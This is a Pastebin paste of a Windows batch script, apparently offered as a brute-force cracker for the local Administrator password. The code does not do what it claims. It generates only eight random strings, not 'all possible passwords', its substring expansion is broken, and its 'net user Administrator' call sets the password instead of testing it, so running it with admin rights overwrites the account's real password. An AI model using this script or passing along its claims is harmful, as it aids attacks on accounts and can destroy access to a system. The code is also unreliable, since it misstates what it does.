Advertisement
FlyFar

8-length-pass-cracker.bat

Oct 26th, 2023
1,104
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Batch 0.94 KB | Cybersecurity | 0 0
  1. @echo off
  2. setlocal EnableDelayedExpansion
  3.  
  4. REM Define the characters to use in the password
  5. set CHARS=0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ
  6.  
  7. REM Define the maximum length of the password
  8. set MAXLEN=8
  9.  
  10. REM Generate a list of all possible passwords
  11. for /L %%n in (1,1,%MAXLEN%) do (
  12.   set "COMBINATION="
  13.   for /L %%i in (1,1,%%n) do (
  14.     set /a "INDEX=!random! %% 62"
  15.     set "COMBINATION=!COMBINATION!!CHARS:~!INDEX!,1!"
  16.   )
  17.   echo !COMBINATION!>>passwords_to_try.txt
  18. )
  19.  
  20. REM Try each password in the list
  21. for /F "tokens=*" %%p in (passwords_to_try.txt) do (
  22.   echo Trying password: %%p
  23.   net user Administrator %%p >nul 2>&1
  24.   if not errorlevel 1 (
  25.     echo Password found, this will also be in a text file (found_password.txt): %%p
  26.     echo %%p>>found_password.txt
  27.     goto :done
  28.   )
  29. )
  30.  
  31. :done
  32. echo Password brute-forcing complete.
  33.  
  34. REM Delete the passwords_to_try.txt file
  35. del passwords_to_try.txt
  36.  
  37. pause
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement